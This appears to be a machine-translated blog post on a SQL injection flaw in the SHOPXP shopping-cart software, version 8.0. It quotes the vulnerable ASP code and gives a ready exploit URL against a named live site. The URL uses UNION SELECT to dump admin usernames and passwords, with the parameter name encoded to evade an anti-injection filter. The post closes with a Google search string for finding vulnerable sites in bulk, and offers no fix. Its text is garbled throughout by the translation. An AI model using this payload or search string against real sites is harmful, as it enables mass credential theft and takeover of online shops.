Affection s blog
Last time I talked about SHOPXP's Online Shopping System's injection vulnerability 7.4 and the new version. Let's look at the 8.0
The mall systems are similar to each other. Vulnerabilities are the same as those of Wangqu. However, it is useless to add a maple leaf anti-injection service.
The newsid variable on the TEXTBOX2.ASP TEXTBOX3.ASP page is judgment
- Action = LCase (Request. QueryString ("Action "))
- NewsID = Request. QueryString ("newsID ")
- If request ("action") = "modify" Then
- Set rs = server. createobject ("adodb. recordset ")
- SQL = "select * from shopxp_news where newsid =" & newsid
- Rs. open SQL, conn, 1, 1
- If Not rs. Eof Then
- Content = rs ("newscontent ")
- End If
- Response. Write Content
- End If
|
Construct URL injection.
Exp:
Http://www.gn918.cn/TEXTBOX2.ASP? Action = modify & news % 69d = 122% 20and % 201 = 2% 20 union % 20 select % 201, 2, admin % 2 bpassword, 4,5, 6,7% 20 from % 20shopxp_admin
Batch
Google: inurl: shopxp_news.asp
